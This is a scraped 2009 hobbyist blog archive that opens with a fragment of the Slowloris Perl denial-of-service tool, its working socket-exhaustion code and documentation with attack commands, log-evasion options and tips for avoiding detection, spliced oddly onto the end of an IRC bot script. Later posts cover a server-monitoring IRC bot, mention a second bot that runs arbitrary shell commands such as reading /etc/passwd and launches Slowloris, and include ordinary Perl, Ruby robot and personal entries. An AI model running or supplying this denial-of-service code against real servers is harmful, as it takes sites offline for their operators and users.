  
      if ($usemultithreading) {
          domultithreading($connections);
      }
      else {
          doconnections( $connections, $usemultithreading );
      }
  }
  
  sub doconnections {
      my ( $num, $usemultithreading ) = @_;
      my ( @first, @sock, @working );
      my $failedconnections = 0;
      $working[$_] = 0 foreach ( 1 .. $num );    #initializing
      $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
      while (1) {
          $failedconnections = 0;
          print "\t\tBuilding sockets.\n";
          foreach my $z ( 1 .. $num ) {
              if ( $working[$z] == 0 ) {
                  if ($ssl) {
                      if (
                          $sock[$z] = new IO::Socket::SSL(
                              PeerAddr => "$dnspick",
                              PeerPort => "$port",
                              Timeout  => "$tcpto",
                              Proto    => "tcp",
                          )
                        )
                      {
                          $working[$z] = 1;
                      }
                      else {
                          $working[$z] = 0;
                      }
                  }
                  else {
                      if (
                          $sock[$z] = new IO::Socket::INET(
                              PeerAddr => "$dnspick",
                              PeerPort => "$port",
                              Timeout  => "$tcpto",
                              Proto    => "tcp",
                          )
                        )
                      {
                          $working[$z] = 1;
                          $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                      }
                      else {
                          $working[$z] = 0;
                      }
                  }
                  if ( $working[$z] == 1 ) {
                      if ($cache) {
                          $rand = "?" . int( rand(99999999999999) );
                      }
                      else {
                          $rand = "";
                      }
                      my $primarypayload =
                          "$method /$rand HTTP/1.1\r\n"
                        . "Host: $sendhost\r\n"
                        . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                        . "Content-Length: 42\r\n";
                      my $handle = $sock[$z];
                      if ($handle) {
                          print $handle "$primarypayload";
                          if ( $SIG{__WARN__} ) {
                              $working[$z] = 0;
                              close $handle;
                              $failed++;
                              $failedconnections++;
                          }
                          else {
                              $packetcount++;
                              $working[$z] = 1;
                          }
                      }
                      else {
                          $working[$z] = 0;
                          $failed++;
                          $failedconnections++;
                      }
                  }
                  else {
                      $working[$z] = 0;
                      $failed++;
                      $failedconnections++;
                  }
              }
          }
          print "\t\tSending data.\n";
          foreach my $z ( 1 .. $num ) {
              if ( $working[$z] == 1 ) {
                  if ( $sock[$z] ) {
                      my $handle = $sock[$z];
                      if ( print $handle "X-a: b\r\n" ) {
                          $working[$z] = 1;
                          $packetcount++;
                      }
                      else {
                          $working[$z] = 0;
                          #debugging info
                          $failed++;
                          $failedconnections++;
                      }
                  }
                  else {
                      $working[$z] = 0;
                      #debugging info
                      $failed++;
                      $failedconnections++;
                  }
              }
          }
          print
  "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
          sleep($timeout);
      }
  }
  
  sub domultithreading {
      my ($num) = @_;
      my @thrs;
      my $i                    = 0;
      my $connectionsperthread = 50;
      while ( $i < $num ) {
          $thrs[$i] =
            threads->create( \&doconnections, $connectionsperthread, 1 );
          $i += $connectionsperthread;
      }
      my @threadslist = threads->list();
      while ( $#threadslist > 0 ) {
          $failed = 0;
      }
  }
  
        }

      
    return;
}


# We registered for all events, this will produce some debug info.
sub _default {
    my ($event, $args) = @_[ARG0 .. $#_];
    my @output = ( "$event: " );

    for my $arg (@$args) {
        if ( ref $arg eq 'ARRAY' ) {
            push( @output, '[' . join(', ', @$arg ) . ']' );
        }
        else {
            push ( @output, "'$arg'" );
        }
    }
    print join ' ', @output, "\n";
    return 0;
}

__END__
  
  =head1 TITLE
  
  Slowloris
  
  =head1 VERSION
  
  Version 0.7 Beta
  
  =head1 DATE
  
  06/17/2009
  
  =head1 AUTHOR
  
  RSnake  with threading from John Kinsella
  
  =head1 ABSTRACT
  
  Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
  
  =head1 AFFECTS
  
  Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, Squid, others...?
  
  =head1 NOT AFFECTED
  
  IIS6.0, IIS7.0, lighthttpd, others...?
  
  =head1 DESCRIPTION
  
  Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.
  
  As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.
  
  =head2 Testing
  
  If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
  
  =head3 Testing Example:
  
  ./slowloris.pl -dns www.example.com -port 80 -test
  
  This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
  
  =head2 HTTP DoS
  
  Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.
  
  =head3 HTTP DoS Example:
  
  ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
  
  =head2 HTTPReady Bypass
  
  HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. 
  
  =head3 HTTPReady Bypass Example
  
  ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
  
  =head2 Stealth Host DoS
  
  If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
  
  =head3 Stealth Host DoS Example:
  
  ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
  
  =head2 HTTPS DoS
  
  Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.
  
  =head3 HTTPS DoS Example:
  
  ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
  
  =head2 HTTP Cache
  
  Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
  
  =head3 HTTP Cache Example:
  
  ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
  
  =head1 Issues
  
  Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. 
  
  Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
  
  For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.  
  
  Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
  
  =head1 What is a slow loris?
  
  What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:
  
  http://www.youtube.com/watch?v=rLdQ3UhLoD4
  
  # milw0rm.com [2009-06-17]

Perl Tutorial on Setting up a server monitoring bot.

2009-07-08T21:58:00.000-07:00

There are two bot's both are based off the example on the example from the cpan page for POE::Component::IRC. The first is made to show your servers to load, external, and internal IP addresses(Using the Commands: load, ipadd, and exadd). The second one is more mischevious and runs any command you wish on the server by saying in the private channel the word system and then the command as in:system cat /etc/passwd . The second one can also run the slow loris DOS attack which affects versions of apache below 2.2.8 and some versions of squid proxy server. This DOS attack can take down small servers with only one machine running them, the second bot will not be revealed in this post but the next post. They both sign in to a password protected channel, however be aware that password is stored within the perl file which by it's nature makes it insecure. There are plans to add a diffrent authentication method in the future.

sudo cpan
at cpan shell:
install POE::Component::IRC

NOTE: This install from cpan did not work in my out of the box Fedora installation(and I did not have time to troubleshoot because I am trying to get this out so I can work on music until I get my new album out.), However it worked fine on both my Cent0S install and my Mac install.

It may ask you if you want to install dependencies and you do(it may ask more than once). It may also ask you to run tests, choose yes. This may take a while.

If you do not have cpan, install, install via yum or apt-get.
ie yum install cpan or apt-get install cpan

If you have not run cpan before you will need to set it up. That is beyond the scope of this post, however you tend to be ok with defaults.

After that while still in the cpan shell:
install LWP::Simple

It's a library in perl for pulling down webpages, the bot will use it to find your external ip.

Now copy or download the script to file. I did:
vi filename.pl
Then I hit the letter i
then I pasted the file

***Note, you will need to change $channel, $password, and $server, to your server channel and password. Otherwise you will end up on my server ^.^**

For linux(CentOS, cmds may vary) use:


use strict;
use warnings;
use POE qw(Component::IRC);
use LWP::Simple;

my $nickname = 'PoeIrcBot' . $$;
my $ircname = 'PoeIrcServerBot';
my $server = 'irc.malvager.com';
my $channel = "#channel";
my $password = "password";

my @channels = ('');

# We create a new PoCo-IRC object
my $irc = POE::Component::IRC->spawn( 
   nick => $nickname,
   ircname => $ircname,
   server => $server,
) or die "Oh noooo! $!";

POE::Session->create(
    package_states => [
        main => [ qw(_default _start irc_001 irc_public) ],
    ],
    heap => { irc => $irc },
);

$poe_kernel->run();

sub _start {
    my $heap = $_[HEAP];

    # retrieve our component's object from the heap where we stashed it
    my $irc = $heap->{irc};

    $irc->yield( register => 'all' );
    $irc->yield( connect => { } );
    return;
}

sub irc_001 {
    my $sender = $_[SENDER];

    # Since this is an irc_* event, we can get the component's object by
    # accessing the heap of the sender. Then we register and connect to the
    # specified server.
    my $irc = $sender->get_heap();

    print "Connected to ", $irc->server_name(), "\n";

    # we join our channels
   $irc->yield( join => $_ ) for @channels;
    $irc->yield( join => "$channel $password");
    return;
}

sub irc_public {
    my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
    my $nick = ( split /!/, $who )[0];
    my $channel = $where->[0];

    if ( my ($loadWord) = $what =~ /^load/ ) {
     my $uptime = `uptime`;
        my $cpuUsagetwo = qr/(load average: \d+\.\d+, \d+\.\d+, \d+\.\d+)/;
        if ($uptime =~ $cpuUsagetwo){
         $irc->yield( privmsg => $channel => "$nick: $&" );
        }
    }
        if ( my ($ipWord) = $what =~ /^ipadd/ ) {
      my @ifconfig = `ifconfig`;
         my $inetter = qr/(inet addr:\d+\.\d+\.\d+.\d+)/;
         foreach (@ifconfig) {
         my $line = $_;
         if ($line =~ $inetter){
          $irc->yield( privmsg => $channel => "$nick: $&" );
         }
        }
    }

        if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {
                  my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;
      my $content = get("http://whatismyipaddress.com");
      if($content =~ $whyip){
       $irc->yield( privmsg => $channel => "$nick: $&" );
     }
    }
    
    return;
}

# We registered for all events, this will produce some debug info.
sub _default {
    my ($event, $args) = @_[ARG0 .. $#_];
    my @output = ( "$event: " );

    for my $arg (@$args) {
        if ( ref $arg eq 'ARRAY' ) {
            push( @output, '[' . join(', ', @$arg ) . ']' );
        }
        else {
            push ( @output, "'$arg'" );
        }
    }
    print join ' ', @output, "\n";
    return 0;
}

For Mac use:



use strict;
use warnings;
use POE qw(Component::IRC);
use LWP::Simple;
#for mac
my $nickname = 'PoeIrcBot' . $$;
my $ircname = 'Flibble the Sailor Bot';
my $server = 'irc.malvager.com';
my $channel = "#channel";
my $password ="password";

my @channels = ('');

# We create a new PoCo-IRC object
my $irc = POE::Component::IRC->spawn( 
   nick => $nickname,
   ircname => $ircname,
   server => $server,
) or die "Oh noooo! $!";

POE::Session->create(
    package_states => [
        main => [ qw(_default _start irc_001 irc_public) ],
    ],
    heap => { irc => $irc },
);

$poe_kernel->run();

sub _start {
    my $heap = $_[HEAP];

    # retrieve our component's object from the heap where we stashed it
    my $irc = $heap->{irc};

    $irc->yield( register => 'all' );
    $irc->yield( connect => { } );
    return;
}

sub irc_001 {
    my $sender = $_[SENDER];

    # Since this is an irc_* event, we can get the component's object by
    # accessing the heap of the sender. Then we register and connect to the
    # specified server.
    my $irc = $sender->get_heap();

    print "Connected to ", $irc->server_name(), "\n";

    # we join our channels
    $irc->yield( join => $_ ) for @channels;
    $irc->yield( join => "$channel $password");
    return;
}

sub irc_public {
    my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
    my $nick = ( split /!/, $who )[0];
    my $channel = $where->[0];

    if ( my ($loadWord) = $what =~ /^load/ ) {
     my $uptime = `uptime`;
        my $cpuUsagetwo = qr/(load averages: \d+\.\d+ \d+\.\d+ \d+\.\d+)/;
        if ($uptime =~ $cpuUsagetwo){
         $irc->yield( privmsg => $channel => "$nick: $&" );
        }
    }
        if ( my ($ipWord) = $what =~ /^ipadd/ ) {
      my @ifconfig = `ifconfig`;
         my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;
         foreach (@ifconfig) {
         my $line = $_;
         if ($line =~ $inetter){
          $irc->yield( privmsg => $channel => "$nick: $&" );
         }
        }
    }

        if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {
                  my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;
      my $content = get("http://whatismyipaddress.com");
      if($content =~ $whyip){
       $irc->yield( privmsg => $channel => "$nick: $&" );
     }
    }
    
    return;
}

# We registered for all events, this will produce some debug info.
sub _default {
    my ($event, $args) = @_[ARG0 .. $#_];
    my @output = ( "$event: " );

    for my $arg (@$args) {
        if ( ref $arg eq 'ARRAY' ) {
            push( @output, '[' . join(', ', @$arg ) . ']' );
        }
        else {
            push ( @output, "'$arg'" );
        }
    }
    print join ' ', @output, "\n";
    return 0;
}

Then to run it just type:perl filename.pl , and that should have you set.
*If you do no use perl filename.pl you will need to put a shebang at the top of the file(i.e #!/usr/bin/perl) with your particular path to perl.

If you liked this you will probably like:
Half finished windows IRC bot trojan/zombie
Getting External IP in Perl

Henry Rollins VS. Techno Viking ( Steve Porter Remix )

2009-07-08T06:48:00.000-07:00

I don't usually like to embed video's that aren't mine or someone I know but I liked this a little to much not to share.

Perl Tutorial on Getting Internal IP and beginning regex

2009-07-05T15:00:00.000-07:00

I am working on an tiny project for remote server administration and this was a bit I can show you guys. This is how one would figure out the internal IP's for a computer running Mac or Linux, with perl, with a code explanation for each below:


For Mac:
#!/opt/local/bin/perl
my @ifconfig = `ifconfig`;
my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;
foreach (@ifconfig) {
my $line = $_;
        if ($line =~ $inetter){
                        print $&."\n";
        }
}

The first line as alwas is the shebang, it tells the script where the perl interpretter is located, if you don't know, you can run your script by typing perl nameof.pl, rather than ./nameof.pl. The second line says that we want to create an array so that, we can load the output of ifconfig into it. Any time you put backticks it runs that command and returns the output. We use an array because it is multiple lines and we want to loop through it. In the next line we are writting or regular expression statement previos to running it. We are putting it in a scalar and using the quote regex function on our statement. We are looking for the phrase inet then a space then a digit then a period etc.. You may notice a lot of back slashes, it's because you have to escape the periods(otherwise our program won't parse them correctly), and the "\d+" is a replacement for saying a digit. Now we do a foreach loop, which says for each line in our array @ifconfig run what is in the curly brackets. The next line says declare a variable called line, it is assigned $_. $_ is a special variable in perl and means the defualt string, in this case the line from ifconfig we are looking at.Then we say if we found the match(inetter) Then print the matched phrase($&), then join the information that is in quotes "/n" and print that as well. /n by the way is a newline character, meaning a newline will begin. then we close out our brackets.

For Linux:


#!/usr/bin/perl
my @ifconfig = `ifconfig`;
my $inetter = qr/(inet addr:\d+\.\d+\.\d+.\d+)/;
foreach (@ifconfig) {
my $line = $_;
        if ($line =~ $inetter){
                        print $&."\n";
        }
}

The below paragraph is the same as the one explaining mac with one exception, the regex match expression($inetter) is diffrent because of slight diffrences in the comman ifconfig. Many people do not realize that Mac OS X is based off of a type of unix, BSD in particular(hence the name of the blog).

The first line as alwas is the shebang, it tells the script where the perl interpretter is located, if you don't know, you can run your script by typing perl nameof.pl, rather than ./nameof.pl. The second line says that we want to create an array so that, we can load the output of ifconfig into it. Any time you put backticks it runs that command and returns the output. We use an array because it is multiple lines and we want to loop through it. In the next line we are writting or regular expression statement previos to running it. We are putting it in a scalar and using the quote regex function on our statement. We are looking for the phrase inet then a space and then addr: and then another space then a digit then a period etc.. You may notice a lot of back slashes, it's because you have to escape the periods(otherwise our program won't parse them correctly), and the "\d+" is a replacement for saying a digit. Now we do a foreach loop, which says for each line in our array @ifconfig run what is in the curly brackets. The next line says declare a variable called line, it is assigned $_. $_ is a special variable in perl and means the defualt string, in this case the line from ifconfig we are looking at.Then we say if we found the match(inetter) Then print the matched phrase($&), then join the information that is in quotes "/n" and print that as well. /n by the way is a newline character, meaning a newline will begin. then we close out our brackets.

You may also like
How to get your external IP, using LWP and regex

Or Arp Sniffing Tutorial with perl

Perl Tutorial On Getting your External IP

2009-07-05T14:01:00.000-07:00

Sometimes you need to find your external IP via perl, it's not that hard, but the only way I found to do it is kind of round about. You need to grab the page, whatismyipaddress.com then regex through it for your IP. Yeah this sucks, but it beats the hell out of the reception I got on #perl, but that's a diffrent post for a diffrent day. Ok so here are the steps:
On a unix or mac system you need to install lwp::simple first(On a windows system you can probably do this through ppm, just go to the cmd prompt and type ppm). To do that just run cpan:
sudo cpan
Then at the cpan prompt install LWP::Simple:
install LWP::Simple

Once that is installed, insert this bit of code into your code.


use LWP::Simple;
$whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;
$content = get("http://whatismyipaddress.com");
if($content =~ $whyip){
 print $&;
}

The first line imports the module.
The Second line declares a variable with the regular expression you are looking for.(Damnit, eneded a sentence with a preposition)
The third line says to "get" the website whatismyipaddress.com.
The third line says, if the regexp we declared in the scond line is matched, then we do the next line.
This line says we print the matched expression.
The Last line closes the if statement.

This project is a small bit of a larger project I am working on that will eventually be revealed. Oh yeah and if you really want to know about #perl on freenode and why I am dissapointed with it, just head on over to wereboobs.com.

If this was relevant to your interests you may also like my arp sniffing in perl post.

**CAVEAT, I start my programs by typing:perl filename.pl if you are doing ./filename.pl then you need a path she bang line like:
#!/usr/bin/perl <---for most linux systems #!/opt/local/bin/perl <-----for most mac systems
at the begining of your file

Alpha-Rex, Ruby-nxt fail, out takes of my robot with a microkorg voice

2009-07-04T18:10:00.001-07:00

***EDIT Appparently I built him wrong as at LEAST 200 hundred people have let me know END EDIT July 12th 2009***

Alpha Rex is a horrible design, but only partially my fault. He was designed by lego and is the flagship robot for the nxt design series. I had to improvise a lot of the building because I just didn't have the parts. And yeah I may have lost a lego or two, but not that many honestly for the amount of improvisation involved. On top of that I could tell just by the design that his "legs" were just a hack. He doesn't really walk, in fact much more similar to spike, he "land swims". With the program I wrote for him I pretty much just wanted to get him to walk by alternating the motors. Oh woah is me. Just watch the video to see what ensuses. So just wanting a robot platform to put intelligence into I sit and I wait and I hope, eyes gazing towards the Nao robots.

Contact Mic Vs Refrigerator, and Updates

2009-07-03T15:28:00.000-07:00

Contact Mic Vs Refrigerator, and Updates

So this is really shitty quality but, I used the line in and got better results, I also played with eq and volume nobs on my new mixer and got better results. So milage may very. I wanted to update you guys on a few things:

New Blog
wereboobs.com
Is now up, and it will be where I right my more personal entries, I am slowly going to start adding posts from the old were boobs blog, you may or may not remember. I will be posting old posts and working on the theme all weekend. So it will be pretty crazy until then.

I also wanted to give some shout outs:
Link bee is the devil, it's a linking service like bit.ly but you can make money based on the amount of link's through it, because it opens everything through an iframe and displays ad's. Pretty much ruining someone's surfing experience.
A friend of mine started a blog, his first post being about fixing and taking apart an iMac.
I found this really cool, but somewhat web 1.0 site http://www.firstpr.com.au/ While searching for pedal powered blimps. And recieved excellent customer service from Electronics Goldmine in which I didn't even have to call to get my order corrected(I goofed, not them). I simply sent an email, and they took care of it. I am sure some of you actually want to talk to a person, and I am sure they would handle it just as gracefully if you did, however I just didn't have time and they took care of me, I really appreciate it.

Party on the intarwebs tonight

2009-06-27T13:00:00.000-07:00

I just got a new icecast server up and I am going to be djing tonight. While I dj you can make requests on irc.malvager.com #malvager, depending on what mood I am in I might play them. I'll probably give away one of my shirts tonight. Also I won't want to dj all night so some of you guys can man up and dj later on.

I need your help, however I am testing the audio right now, and some clients such as winamp aren't connecting, so try connecting now at http://wereboobs.com:8000 and let me know what works and what doesn't and I'll try to troubleshoot as well, because I can't help anyone after I start djing. IF YOU WANT TO DJ, I NEED YOU TO TEST NOW, BECAUSE WINAMP IS THE BEST TOOL FOR WINDOWS DJ'S ON ICECAST. A link to dj tools will be at the bottom.

VLC has been verified to work on windows and linux. And totem is working in linux.

http://wereboobs.com:8000

It will be at

10:00:00 p.m. Saturday June 27, 2009 in US/Central converts to
03:00:00 a.m. Sunday June 28, 2009 in GMT

Time zone converter:
http://www.timezoneconverter.com/cgi-bin/tzc.tzc

DJ tools:
http://www.icecast.org/3rdparty.php

Top 5 ways to stay productive at work

2009-06-19T00:30:00.001-07:00

Occasionally when I am at work I read things from productivity experts, to see how I can be an effecient worker. Most the time after reading one of these I think, Wow I wasted a lot of work time....but everynow and then I think how could these articles be improved. So I finally decided to write my own list:

1.Do your job.

2. Quit looking at Pron(or other agents of distraction).

3. Fucking do your job.

4. Your job, maybe you should do it.

5. DO YOUR FUCKING JOB.

Now productivity experts have a place. But blogging on sites that distract people from doing there job, is not that place. Oh yeah, Social Networking "Experts", your next, and it won't be nearly as nice as this post.

Net::ARP Checking a Mac address with perl

2009-06-13T18:47:00.000-07:00

So net::arp Creates arp packets. The intention of this script was to check for the mac address of a remote machine, however after a little experimentation I realized the function was only checking the arp table. Which is not what this was intended for so....le sigh. However it might be handy for someone to check the arp table in perl, this would be convenient. It would also be nice if you did some sort of arp or ping scan before using it. BEWARE OF BOTH SCANS. Either are likely to set of an IDS or IPS, however a ping scan is always the more obnoxious of the two.

Caveat: You need Net::ARP installed for this to work:
sudo cpan
install Net::ARP


use Net::ARP;

$targetOne = "192.168.1.200";
$dev = "eth0";
while(1){
my $mac = Net::ARP::arp_lookup($dev, $targetOne);
print "The Mac address is  $mac\n";
sleep(5);
}

If you liked this, you will probably also like these two:
http://bsdpunk.blogspot.com/2009/04/updated-arp-sniffer-to-also-get-dhcp.html

http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html

ps the command to check the arp table is arp -a

Caveat: I was not able to get Net::ARP to install cleanly on my mac from CPAN, so I used Fedora. I don't really think this says anything about Net::ARP as 90 percent of CPAN packages tend to be a pain in my ass on my mac.

Not drinking fast enough, I can help....Or, Wake up and drink.

2009-06-09T22:59:00.000-07:00

So I have this problem....It's not drinking....quickly. Sometimes I get to involved in my work, and don't drink quickly enough. Many men have this problem. And I am here to solve it. So how would one reminde one's self to drink.....A script of course. So here is a script that does an apple beep every 5 minutes(sleep, 300 seconds):

#!/put/your/perl/path/here
use Mac::AppleScript qw(RunAppleScript);
$booT = 1;
while ($booT) {
RunAppleScript(qq(beep\ndo shell script "/bin/sleep 1"))
or die "Didn't work!";
sleep(300);
}

There is a problem with not recognizing the sound because if you are like me, you really tone out error sounds...cause you hate them. So the solution is to change your "beep" sound, to do that go to:
System Prefrences > Sound > Sound Effects
And change it to something you find annoying.....Hey windows does it...why not, you know.

CAVEAT:
You will need to install the perl module: Mac::AppleScript:
sudo cpan
install Mac::AppleScript

PS you guys see that...
boo-T
Like booty
heh

Also this is not my picture it is a CC licensed photo from here:
http://www.flickr.com/photos/someoneelse/2862719142/in/photostream/

Search Terms, or what people google, to find me

2009-06-09T18:13:00.000-07:00

People find my page a lot through google. Using analytics I can sometimes see if they found what they needed, by seeing what they searched for and what page they landed on. Sometimes there are questions, that aren't answered on my blog, that I can answer, in the next section of my post, I will answer as many of these as I can, however sometimes people google weird things, and end up at my site....I will deal with those in the last section of this post.

1. bandwidth of nxt mindstorms ultrasonic sensor
I'm not for sure, cause it pretty much sucks, however typically on a numerical range of 0 to 1023, if there was nothing obstructing the view within an inch I would get something in between 900 - 1002, you will notice my ruby script specifies the value must be over 1002 to react. And I really couldn't get a reaction beyond an inch or two.

2. communicate to mindstorm nxt through hyperterminal
I am pretty sure this is possible though, you may want to use putty and just put it on raw and direct it towards your usb. I was able to use cat, and send some perl through bluetooth, but this was mostly do to help from here:
http://juju.org/articles/2006/08/01/mindstorms-nxt-bluetooth-on-osx

3. dustin hurt hacking contest computer security
I assume this was someone looking to see if I ever got hurt during a hacking contest. To my knowledge I have never been physically injured in a hacking contest.

4. eeepc camera freebsd
I looked myself at one point into seeing if FreeBSD would support the webcam on a eeePC and most accounts said no, perhaps some reader can comment and prove this wrong ? :)

5. how to get the arp packet
Cain and able of course. :) Or you can look at my little perl scripty:
http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html

_________________________________

1. watch people die

I knew that was a bad name for that post.

2. free +begginer cyber sex

No, we don't really help you with that on this blog.

3. hak5 "rule 34"

This is just scary. I mean sure Darren is a decent looking fellow....but really....How hard up are you.

4. internal diagram of a walrus

err....ummm...I don't know

5. openbsd rule 34

Try looking up the word blowfish on google image search

6. ayn rand "rule 34"
Ummm, why....why would you do this?

Suppage

2009-06-08T13:32:00.000-07:00

Regretful:
I can afford to go more than one place a year and this year I am going to defcon, which makes me really sad that I am missing out on nerdapalooza. Looks like a lot of good people are going to be there this year.

If you like this, you should also check out, Z.'s page, hipsterplease.

Awesomage:
I ffuoond thees avesumea perl mudoolea tuday, und yuoo shuoold all eenstall eet. Bork Bork Bork! Herea vas zee pust I ffuoond eet een. Bork Bork Bork! Und herea ees zee cpun leenk.

If you liked this, you might also like this.

Posts to look forward to:
Hell if I know you guys, my projects are ,liek, ADHD inspired.

Motion Detecting Lego NXT mindstorm arm written in ruby

2009-06-07T16:42:00.000-07:00

The building instructions for this arm can be found here:
http://www.nxtprograms.com/robot_arm/steps.html

I added the Ultra sensor to it, and you will notice some of the funtions in the code aren't used at all, because I plan on doing more with this.

If you liked this you might also like
My NXT tagged posts.
My Arduino tagged posts.
or
How to make a contact MIC.


require "rubygems"
require "serialport"
require "nxt_comm"

$DEBUG = false

@nxt = NXTComm.new('/dev/tty.NXT-DevB-1')
def sleeper
 sleep(0.5)
end

@nxt = NXTComm.new("/dev/tty.NXT-DevB-1")


def do_motor_a
  a = Commands::Motor.new(@nxt)
  a.port = :a
  a.duration = {:rotations => 0.25}
  a.control_power = true
  a.start
  puts "Run State: #{a.run_state}"
end

def do_motor_b
  b = Commands::Motor.new(@nxt)
  b.port = :b
  b.duration = {:rotations => 0.25}
  b.control_power = true
  b.start
end

def do_motor_c
  c = Commands::Motor.new(@nxt)
  c.port = :c
  c.duration = {:rotations => 0.25}
  c.control_power = true
  c.start
  puts "Run State: #{c.run_state}"
end

def do_motorb_a
  a = Commands::Motor.new(@nxt)
  a.port = :a
  a.duration = {:rotations => 0.25}
  a.control_power = true
  a.direction = :backward
  a.start
  puts "Run State: #{a.run_state}"
end

def do_motorb_b
  b = Commands::Motor.new(@nxt)
  b.port = :b
  b.direction = :backward
  b.duration = {:rotations => 0.25}
  b.control_power = true
  b.start
end

def do_motorb_c
  c = Commands::Motor.new(@nxt)
  c.port = :c
  c.direction = :backward
  c.duration = {:rotations => 0.25}
  c.control_power = true
  c.start
  puts "Run State: #{c.run_state}"
end

def inputs_2
   s = @nxt.get_input_values(NXTComm::SENSOR_2)
   puts s[:value_raw]
   if s[:value_raw] > 1005
    @nxt.play_tone(659,500)
    do_motorb_a
    do_motorb_b
    sleep 1
    do_motor_a
    do_motor_b
    sleep 1
    end
 end
 
 def inputs_1
   sm = @nxt.get_input_values(NXTComm::SENSOR_1)
   puts sm.inspect
   sleep 1
 end
 
loop {
 inputs_2
}

Awful Linux Podcast

2009-06-07T11:41:00.000-07:00

Download: Mp3
I might actually decide to name the podcast awful linux podcast.....hmmmm

Lesson Plan:

Going over the very basics of linux. And since this will be distrubuted in beggening hacking type places, I am going to focus on honing your linux skills with the use of nmap.

Everything is a file.

cd
cd ..
cd /root
cd root
ls
cat
less
nmap - You will have to install

grep
grep options pattern file
grep 'bullshit' filename
cat filename | grep 'bullshit'

Basic Install processes

Package Managment
CentOS, Redhat, Fedora Core,(SuSe I think), etc
yum install packageName

Debian, Ubuntu, etc
apt-get install packageName

FreeBSD
cd /usr/ports/category
make && make install && make install clean
or
make
make install
make install clean

TarBalls
All Systems

gunzip tar.tar.gz
tar -xvvf tar.tar
./configure
make
make install

processes
ps aux
kill
killall firefox-bin

Text editors
vi
emacs
Don't pussy out, man up

I thought wolfrumalpha could prove to me...

